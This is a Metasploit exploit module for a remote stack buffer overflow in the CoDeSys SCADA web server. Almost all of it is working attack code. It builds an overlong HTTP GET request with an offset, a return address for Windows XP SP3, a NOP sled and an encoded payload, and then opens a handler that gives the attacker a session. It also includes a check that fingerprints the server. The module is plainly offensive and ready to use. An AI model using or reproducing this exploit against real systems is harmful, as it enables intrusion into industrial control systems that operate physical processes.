CoDeSys SCADA 2.3 – WebServer Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow', 'Description' => %q{ This module exploits a remote stack buffer overflow vulnerability in 3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9. }, 'License' => MSF_LICENSE, 'Author' => [ 'Celil UNUVER', # Original discovery and exploit 'TecR0c', # Module Metasploit 'sinn3r' ], 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'false', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Payload' => { 'size' => 4000, 'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e", }, 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x7E4456F7, 'Offset' => 775 } ], # jmp esp user32 ], 'Privileged' => false, 'DisclosureDate' => 'Dec 02 2011', 'DefaultTarget' => 0)) register_options([Opt::RPORT(8080)], self.class) end def check connect sock.put("GET / HTTP/1.1\r\n\r\n") res = sock.get(-1, 3) disconnect # Can't flag the web server as vulnerable, because it doesn't # give us a version vprint_line(res) if res =~ /3S_WebServer/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit connect buffer = rand_text(target['Offset']) buffer << [target.ret].pack('V') buffer << make_nops(8) buffer << payload.encoded sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n" print_status("Trying target #{target.name}...") sock.put(sploit) res = sock.recv(1024) print_line(res) handler disconnect end end =begin target.ret verified on: - Win XP SP3 unpatched - Win XP SP3 fully-patched - Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed =end |